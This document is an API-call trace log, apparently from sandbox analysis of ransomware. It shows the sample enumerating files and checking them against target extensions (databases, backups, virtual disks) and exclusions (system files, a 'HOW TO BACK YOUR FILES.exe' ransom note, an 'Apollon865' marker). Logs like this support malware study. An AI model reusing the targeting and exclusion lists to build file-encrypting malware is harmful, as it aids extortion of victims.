	[0062.238] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0062.238] lstrlenW (lpString="fcd") returned 3
	[0062.238] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0062.238] lstrlenW (lpString="fdb") returned 3
	[0062.238] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0062.238] lstrlenW (lpString="fic") returned 3
	[0062.238] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0062.238] lstrlenW (lpString="flexolibrary") returned 12
	[0062.238] lstrcmpiW (lpString1="ss_bw120.jpg", lpString2="flexolibrary") returned 1
	[0062.238] lstrlenW (lpString="fm5") returned 3
	[0062.238] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0062.238] lstrlenW (lpString="fmp") returned 3
	[0062.238] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0062.238] lstrlenW (lpString="fmp12") returned 5
	[0062.238] lstrcmpiW (lpString1="0.jpg", lpString2="fmp12") returned -1
	[0062.238] lstrlenW (lpString="fmpsl") returned 5
	[0062.239] lstrcmpiW (lpString1="0.jpg", lpString2="fmpsl") returned -1
	[0062.239] lstrlenW (lpString="fol") returned 3
	[0062.239] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0062.239] lstrlenW (lpString="fp3") returned 3
	[0062.239] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0062.239] lstrlenW (lpString="fp4") returned 3
	[0062.239] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0062.239] lstrlenW (lpString="fp5") returned 3
	[0062.239] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0062.239] lstrlenW (lpString="fp7") returned 3
	[0062.239] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0062.239] lstrlenW (lpString="fpt") returned 3
	[0062.239] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0062.239] lstrlenW (lpString="frm") returned 3
	[0062.239] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0062.239] lstrlenW (lpString="gdb") returned 3
	[0062.239] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0062.239] lstrlenW (lpString="gdb") returned 3
	[0062.239] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0062.239] lstrlenW (lpString="grdb") returned 4
	[0062.239] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0062.239] lstrlenW (lpString="gwi") returned 3
	[0062.239] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0062.239] lstrlenW (lpString="hdb") returned 3
	[0062.239] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0062.239] lstrlenW (lpString="his") returned 3
	[0062.239] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0062.239] lstrlenW (lpString="ib") returned 2
	[0062.239] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0062.239] lstrlenW (lpString="idb") returned 3
	[0062.239] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0062.239] lstrlenW (lpString="ihx") returned 3
	[0062.239] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0062.239] lstrlenW (lpString="itdb") returned 4
	[0062.240] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0062.240] lstrlenW (lpString="itw") returned 3
	[0062.240] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0062.240] lstrlenW (lpString="jet") returned 3
	[0062.240] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0062.240] lstrlenW (lpString="jtx") returned 3
	[0062.240] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0062.240] lstrlenW (lpString="kdb") returned 3
	[0062.240] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0062.240] lstrlenW (lpString="kexi") returned 4
	[0062.240] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0062.240] lstrlenW (lpString="kexic") returned 5
	[0062.240] lstrcmpiW (lpString1="0.jpg", lpString2="kexic") returned -1
	[0062.240] lstrlenW (lpString="kexis") returned 5
	[0062.240] lstrcmpiW (lpString1="0.jpg", lpString2="kexis") returned -1
	[0062.240] lstrlenW (lpString="lgc") returned 3
	[0062.240] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0062.240] lstrlenW (lpString="lwx") returned 3
	[0062.240] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0062.240] lstrlenW (lpString="maf") returned 3
	[0062.240] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0062.240] lstrlenW (lpString="maq") returned 3
	[0062.240] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0062.240] lstrlenW (lpString="mar") returned 3
	[0062.240] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0062.240] lstrlenW (lpString="marshal") returned 7
	[0062.240] lstrcmpiW (lpString1="120.jpg", lpString2="marshal") returned -1
	[0062.240] lstrlenW (lpString="mas") returned 3
	[0062.240] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0062.240] lstrlenW (lpString="mav") returned 3
	[0062.240] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0062.240] lstrlenW (lpString="maw") returned 3
	[0062.240] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0062.240] lstrlenW (lpString="mdbhtml") returned 7
	[0062.240] lstrcmpiW (lpString1="120.jpg", lpString2="mdbhtml") returned -1
	[0062.241] lstrlenW (lpString="mdn") returned 3
	[0062.241] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0062.241] lstrlenW (lpString="mdt") returned 3
	[0062.241] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0062.241] lstrlenW (lpString="mfd") returned 3
	[0062.241] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0062.241] lstrlenW (lpString="mpd") returned 3
	[0062.241] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0062.241] lstrlenW (lpString="mrg") returned 3
	[0062.241] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0062.241] lstrlenW (lpString="mud") returned 3
	[0062.241] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0062.241] lstrlenW (lpString="mwb") returned 3
	[0062.241] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0062.241] lstrlenW (lpString="myd") returned 3
	[0062.241] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0062.241] lstrlenW (lpString="ndf") returned 3
	[0062.241] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0062.241] lstrlenW (lpString="nnt") returned 3
	[0062.241] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0062.241] lstrlenW (lpString="nrmlib") returned 6
	[0062.241] lstrcmpiW (lpString1="20.jpg", lpString2="nrmlib") returned -1
	[0062.241] lstrlenW (lpString="ns2") returned 3
	[0062.241] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0062.241] lstrlenW (lpString="ns3") returned 3
	[0062.241] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0062.241] lstrlenW (lpString="ns4") returned 3
	[0062.241] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0062.241] lstrlenW (lpString="nsf") returned 3
	[0062.241] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0062.241] lstrlenW (lpString="nv") returned 2
	[0062.241] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0062.241] lstrlenW (lpString="nv2") returned 3
	[0062.242] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0062.242] lstrlenW (lpString="nwdb") returned 4
	[0062.242] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0062.242] lstrlenW (lpString="nyf") returned 3
	[0062.242] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0062.242] lstrlenW (lpString="odb") returned 3
	[0062.242] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0062.242] lstrlenW (lpString="odb") returned 3
	[0062.242] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0062.242] lstrlenW (lpString="oqy") returned 3
	[0062.242] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0062.242] lstrlenW (lpString="ora") returned 3
	[0062.242] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0062.242] lstrlenW (lpString="orx") returned 3
	[0062.242] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0062.242] lstrlenW (lpString="owc") returned 3
	[0062.242] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0062.242] lstrlenW (lpString="p96") returned 3
	[0062.242] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0062.242] lstrlenW (lpString="p97") returned 3
	[0062.242] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0062.242] lstrlenW (lpString="pan") returned 3
	[0062.242] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0062.242] lstrlenW (lpString="pdb") returned 3
	[0062.242] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0062.242] lstrlenW (lpString="pdm") returned 3
	[0062.242] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0062.242] lstrlenW (lpString="pnz") returned 3
	[0062.242] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0062.242] lstrlenW (lpString="qry") returned 3
	[0062.242] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0062.242] lstrlenW (lpString="qvd") returned 3
	[0062.242] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0062.242] lstrlenW (lpString="rbf") returned 3
	[0062.242] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0062.243] lstrlenW (lpString="rctd") returned 4
	[0062.243] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0062.243] lstrlenW (lpString="rod") returned 3
	[0062.243] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0062.243] lstrlenW (lpString="rodx") returned 4
	[0062.243] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0062.243] lstrlenW (lpString="rpd") returned 3
	[0062.243] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0062.243] lstrlenW (lpString="rsd") returned 3
	[0062.243] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0062.243] lstrlenW (lpString="sas7bdat") returned 8
	[0062.243] lstrcmpiW (lpString1="w120.jpg", lpString2="sas7bdat") returned 1
	[0062.243] lstrlenW (lpString="sbf") returned 3
	[0062.243] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0062.243] lstrlenW (lpString="scx") returned 3
	[0062.243] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0062.243] lstrlenW (lpString="sdb") returned 3
	[0062.243] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0062.243] lstrlenW (lpString="sdc") returned 3
	[0062.243] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0062.243] lstrlenW (lpString="sdf") returned 3
	[0062.243] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0062.243] lstrlenW (lpString="sis") returned 3
	[0062.243] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0062.243] lstrlenW (lpString="spq") returned 3
	[0062.243] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0062.243] lstrlenW (lpString="te") returned 2
	[0062.243] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0062.243] lstrlenW (lpString="teacher") returned 7
	[0062.243] lstrcmpiW (lpString1="120.jpg", lpString2="teacher") returned -1
	[0062.243] lstrlenW (lpString="tmd") returned 3
	[0062.243] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0062.243] lstrlenW (lpString="tps") returned 3
	[0062.243] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0062.243] lstrlenW (lpString="trc") returned 3
	[0062.244] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0062.244] lstrlenW (lpString="trc") returned 3
	[0062.244] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0062.244] lstrlenW (lpString="trm") returned 3
	[0062.244] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0062.244] lstrlenW (lpString="udb") returned 3
	[0062.244] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0062.244] lstrlenW (lpString="udl") returned 3
	[0062.244] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0062.244] lstrlenW (lpString="usr") returned 3
	[0062.244] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0062.244] lstrlenW (lpString="v12") returned 3
	[0062.244] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0062.244] lstrlenW (lpString="vis") returned 3
	[0062.244] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0062.244] lstrlenW (lpString="vpd") returned 3
	[0062.244] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0062.244] lstrlenW (lpString="vvv") returned 3
	[0062.244] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0062.244] lstrlenW (lpString="wdb") returned 3
	[0062.244] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0062.244] lstrlenW (lpString="wmdb") returned 4
	[0062.244] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0062.244] lstrlenW (lpString="wrk") returned 3
	[0062.244] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0062.244] lstrlenW (lpString="xdb") returned 3
	[0062.244] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0062.244] lstrlenW (lpString="xld") returned 3
	[0062.244] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0062.244] lstrlenW (lpString="xmlff") returned 5
	[0062.244] lstrcmpiW (lpString1="0.jpg", lpString2="xmlff") returned -1
	[0062.244] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf38ba92, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf38ba92, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1922, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmpnss_bw120.png", cAlternateFileName="")) returned 1
	[0062.244] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.245] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="Apollon865.txt.exe") returned 1
	[0062.245] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2=".") returned 1
	[0062.245] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="..") returned 1
	[0062.245] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="windows") returned 1
	[0062.245] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="bootmgr") returned 1
	[0062.245] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="temp") returned 1
	[0062.245] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="pagefile.sys") returned 1
	[0062.245] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="boot") returned 1
	[0062.245] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="ids.txt") returned 1
	[0062.245] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="ntuser.dat") returned 1
	[0062.245] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="perflogs") returned 1
	[0062.245] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2="MSBuild") returned 1
	[0062.245] lstrlenW (lpString="wmpnss_bw120.png") returned 16
	[0062.245] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw120.jpg") returned 70
	[0062.245] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="wmpnss_bw120.png" | out: lpString1="wmpnss_bw120.png") returned="wmpnss_bw120.png"
	[0062.245] lstrlenW (lpString="wmpnss_bw120.png") returned 16
	[0062.245] lstrlenW (lpString="Apollon865") returned 10
	[0062.245] lstrcmpiW (lpString1="_bw120.png", lpString2="Apollon865") returned -1
	[0062.245] lstrlenW (lpString=".dll") returned 4
	[0062.245] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2=".dll") returned 1
	[0062.245] lstrlenW (lpString=".lnk") returned 4
	[0062.245] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2=".lnk") returned 1
	[0062.245] lstrlenW (lpString=".ini") returned 4
	[0062.245] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2=".ini") returned 1
	[0062.245] lstrlenW (lpString=".sys") returned 4
	[0062.245] lstrcmpiW (lpString1="wmpnss_bw120.png", lpString2=".sys") returned 1
	[0062.245] lstrlenW (lpString="wmpnss_bw120.png") returned 16
	[0062.245] lstrlenW (lpString="bak") returned 3
	[0062.245] lstrcmpiW (lpString1="png", lpString2="bak") returned 1
	[0062.245] lstrlenW (lpString="ba_") returned 3
	[0062.245] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1
	[0062.245] lstrlenW (lpString="dbb") returned 3
	[0062.245] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1
	[0062.246] lstrlenW (lpString="vmdk") returned 4
	[0062.246] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1
	[0062.246] lstrlenW (lpString="rar") returned 3
	[0062.246] lstrcmpiW (lpString1="png", lpString2="rar") returned -1
	[0062.246] lstrlenW (lpString="zip") returned 3
	[0062.246] lstrcmpiW (lpString1="png", lpString2="zip") returned -1
	[0062.246] lstrlenW (lpString="tgz") returned 3
	[0062.246] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1
	[0062.246] lstrlenW (lpString="vbox") returned 4
	[0062.246] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1
	[0062.246] lstrlenW (lpString="vdi") returned 3
	[0062.246] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1
	[0062.246] lstrlenW (lpString="vhd") returned 3
	[0062.246] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1
	[0062.246] lstrlenW (lpString="vhdx") returned 4
	[0062.246] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1
	[0062.246] lstrlenW (lpString="avhd") returned 4
	[0062.246] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1
	[0062.246] lstrlenW (lpString="db") returned 2
	[0062.246] lstrcmpiW (lpString1="ng", lpString2="db") returned 1
	[0062.246] lstrlenW (lpString="db2") returned 3
	[0062.246] lstrcmpiW (lpString1="png", lpString2="db2") returned 1
	[0062.246] lstrlenW (lpString="db3") returned 3
	[0062.246] lstrcmpiW (lpString1="png", lpString2="db3") returned 1
	[0062.246] lstrlenW (lpString="dbf") returned 3
	[0062.246] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1
	[0062.246] lstrlenW (lpString="mdf") returned 3
	[0062.246] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1
	[0062.246] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="wmpnss_bw32.bmp" | out: lpString1="wmpnss_bw32.bmp") returned="wmpnss_bw32.bmp"
	[0062.246] lstrlenW (lpString="wmpnss_bw32.bmp") returned 15
	[0062.247] lstrlenW (lpString="Apollon865") returned 10
	[0062.247] lstrcmpiW (lpString1="s_bw32.bmp", lpString2="Apollon865") returned 1
	[0062.247] lstrlenW (lpString=".dll") returned 4
	[0062.247] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2=".dll") returned 1
	[0062.247] lstrlenW (lpString=".lnk") returned 4
	[0062.247] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2=".lnk") returned 1
	[0062.247] lstrlenW (lpString=".ini") returned 4
	[0062.247] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2=".ini") returned 1
	[0062.247] lstrlenW (lpString=".sys") returned 4
	[0062.247] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2=".sys") returned 1
	[0062.247] lstrlenW (lpString="wmpnss_bw32.bmp") returned 15
	[0062.247] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="wmpnss_bw32.jpg" | out: lpString1="wmpnss_bw32.jpg") returned="wmpnss_bw32.jpg"
	[0062.247] lstrlenW (lpString="wmpnss_bw32.jpg") returned 15
	[0062.247] lstrlenW (lpString="Apollon865") returned 10
	[0062.247] lstrcmpiW (lpString1="s_bw32.jpg", lpString2="Apollon865") returned 1
	[0062.247] lstrlenW (lpString=".dll") returned 4
	[0062.247] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2=".dll") returned 1
	[0062.247] lstrlenW (lpString=".lnk") returned 4
	[0062.247] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2=".lnk") returned 1
	[0062.247] lstrlenW (lpString=".ini") returned 4
	[0062.247] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2=".ini") returned 1
	[0062.247] lstrlenW (lpString=".sys") returned 4
	[0062.247] lstrcmpiW (lpString1="wmpnss_bw32.jpg", lpString2=".sys") returned 1
	[0062.247] lstrlenW (lpString="wmpnss_bw32.jpg") returned 15
	[0062.247] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="wmpnss_bw48.bmp" | out: lpString1="wmpnss_bw48.bmp") returned="wmpnss_bw48.bmp"
	[0062.247] lstrlenW (lpString="wmpnss_bw48.bmp") returned 15
	[0062.247] lstrlenW (lpString="Apollon865") returned 10
	[0062.247] lstrcmpiW (lpString1="s_bw48.bmp", lpString2="Apollon865") returned 1
	[0062.247] lstrlenW (lpString=".dll") returned 4
	[0062.247] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2=".dll") returned 1
	[0062.247] lstrlenW (lpString=".lnk") returned 4
	[0062.248] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2=".lnk") returned 1
	[0062.248] lstrlenW (lpString=".ini") returned 4
	[0062.248] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2=".ini") returned 1
	[0062.248] lstrlenW (lpString=".sys") returned 4
	[0062.248] lstrcmpiW (lpString1="wmpnss_bw48.bmp", lpString2=".sys") returned 1
	[0062.248] lstrlenW (lpString="wmpnss_bw48.bmp") returned 15
	[0062.248] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="wmpnss_bw48.jpg" | out: lpString1="wmpnss_bw48.jpg") returned="wmpnss_bw48.jpg"
	[0062.248] lstrlenW (lpString="wmpnss_bw48.jpg") returned 15
	[0062.248] lstrlenW (lpString="Apollon865") returned 10
	[0062.248] lstrcmpiW (lpString1="s_bw48.jpg", lpString2="Apollon865") returned 1
	[0062.248] lstrlenW (lpString=".dll") returned 4
	[0062.248] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2=".dll") returned 1
	[0062.248] lstrlenW (lpString=".lnk") returned 4
	[0062.248] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2=".lnk") returned 1
	[0062.248] lstrlenW (lpString=".ini") returned 4
	[0062.248] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2=".ini") returned 1
	[0062.248] lstrlenW (lpString=".sys") returned 4
	[0062.248] lstrcmpiW (lpString1="wmpnss_bw48.jpg", lpString2=".sys") returned 1
	[0062.248] lstrlenW (lpString="wmpnss_bw48.jpg") returned 15
	[0062.248] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="wmpnss_bw48.png" | out: lpString1="wmpnss_bw48.png") returned="wmpnss_bw48.png"
	[0062.248] lstrlenW (lpString="wmpnss_bw48.png") returned 15
	[0062.248] lstrlenW (lpString="Apollon865") returned 10
	[0062.248] lstrcmpiW (lpString1="s_bw48.png", lpString2="Apollon865") returned 1
	[0062.248] lstrlenW (lpString=".dll") returned 4
	[0062.248] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2=".dll") returned 1
	[0062.248] lstrlenW (lpString=".lnk") returned 4
	[0062.248] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2=".lnk") returned 1
	[0062.248] lstrlenW (lpString=".ini") returned 4
	[0062.248] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2=".ini") returned 1
	[0062.248] lstrlenW (lpString=".sys") returned 4
	[0062.248] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2=".sys") returned 1
	[0062.249] lstrlenW (lpString="wmpnss_bw48.png") returned 15
	[0062.249] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="wmpnss_color120.jpg" | out: lpString1="wmpnss_color120.jpg") returned="wmpnss_color120.jpg"
	[0062.249] lstrlenW (lpString="wmpnss_color120.jpg") returned 19
	[0062.249] lstrlenW (lpString="Apollon865") returned 10
	[0062.249] lstrcmpiW (lpString1="lor120.jpg", lpString2="Apollon865") returned 1
	[0062.249] lstrlenW (lpString=".dll") returned 4
	[0062.249] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2=".dll") returned 1
	[0062.249] lstrlenW (lpString=".lnk") returned 4
	[0062.249] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2=".lnk") returned 1
	[0062.249] lstrlenW (lpString=".ini") returned 4
	[0062.249] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2=".ini") returned 1
	[0062.249] lstrlenW (lpString=".sys") returned 4
	[0062.249] lstrcmpiW (lpString1="wmpnss_color120.jpg", lpString2=".sys") returned 1
	[0062.249] lstrlenW (lpString="wmpnss_color120.jpg") returned 19
	[0062.249] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="wmpnss_color120.png" | out: lpString1="wmpnss_color120.png") returned="wmpnss_color120.png"
	[0062.249] lstrlenW (lpString="wmpnss_color120.png") returned 19
	[0062.249] lstrlenW (lpString="Apollon865") returned 10
	[0062.249] lstrcmpiW (lpString1="lor120.png", lpString2="Apollon865") returned 1
	[0062.249] lstrlenW (lpString=".dll") returned 4
	[0062.249] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2=".dll") returned 1
	[0062.249] lstrlenW (lpString=".lnk") returned 4
	[0062.249] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2=".lnk") returned 1
	[0062.249] lstrlenW (lpString=".ini") returned 4
	[0062.249] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2=".ini") returned 1
	[0062.249] lstrlenW (lpString=".sys") returned 4
	[0062.249] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2=".sys") returned 1
	[0062.249] lstrlenW (lpString="wmpnss_color120.png") returned 19
	[0062.249] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="wmpnss_color32.bmp" | out: lpString1="wmpnss_color32.bmp") returned="wmpnss_color32.bmp"
	[0062.250] lstrlenW (lpString="wmpnss_color32.bmp") returned 18
	[0062.250] lstrlenW (lpString="Apollon865") returned 10
	[0062.250] lstrcmpiW (lpString1="olor32.bmp", lpString2="Apollon865") returned 1
	[0062.250] lstrlenW (lpString=".dll") returned 4
	[0062.250] lstrcmpiW (lpString1="wmpnss_color32.bmp", lpString2=".dll") returned 1
	[0062.250] lstrlenW (lpString=".lnk") returned 4
	[0062.250] lstrcmpiW (lpString1="wmpnss_color32.bmp", lpString2=".lnk") returned 1
	[0062.250] lstrlenW (lpString=".ini") returned 4
	[0062.250] lstrcmpiW (lpString1="wmpnss_color32.bmp", lpString2=".ini") returned 1
	[0062.250] lstrlenW (lpString=".sys") returned 4
	[0062.250] lstrcmpiW (lpString1="wmpnss_color32.bmp", lpString2=".sys") returned 1
	[0062.250] lstrlenW (lpString="wmpnss_color32.bmp") returned 18
	[0062.250] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="wmpnss_color32.jpg" | out: lpString1="wmpnss_color32.jpg") returned="wmpnss_color32.jpg"
	[0062.250] lstrlenW (lpString="wmpnss_color32.jpg") returned 18
	[0062.250] lstrlenW (lpString="Apollon865") returned 10
	[0062.250] lstrcmpiW (lpString1="olor32.jpg", lpString2="Apollon865") returned 1
	[0062.250] lstrlenW (lpString=".dll") returned 4
	[0062.250] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2=".dll") returned 1
	[0062.250] lstrlenW (lpString=".lnk") returned 4
	[0062.250] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2=".lnk") returned 1
	[0062.250] lstrlenW (lpString=".ini") returned 4
	[0062.250] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2=".ini") returned 1
	[0062.250] lstrlenW (lpString=".sys") returned 4
	[0062.250] lstrcmpiW (lpString1="wmpnss_color32.jpg", lpString2=".sys") returned 1
	[0062.250] lstrlenW (lpString="wmpnss_color32.jpg") returned 18
	[0062.250] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="wmpnss_color48.bmp" | out: lpString1="wmpnss_color48.bmp") returned="wmpnss_color48.bmp"
	[0062.250] lstrlenW (lpString="wmpnss_color48.bmp") returned 18
	[0062.250] lstrlenW (lpString="Apollon865") returned 10
	[0062.250] lstrcmpiW (lpString1="olor48.bmp", lpString2="Apollon865") returned 1
	[0062.250] lstrlenW (lpString=".dll") returned 4
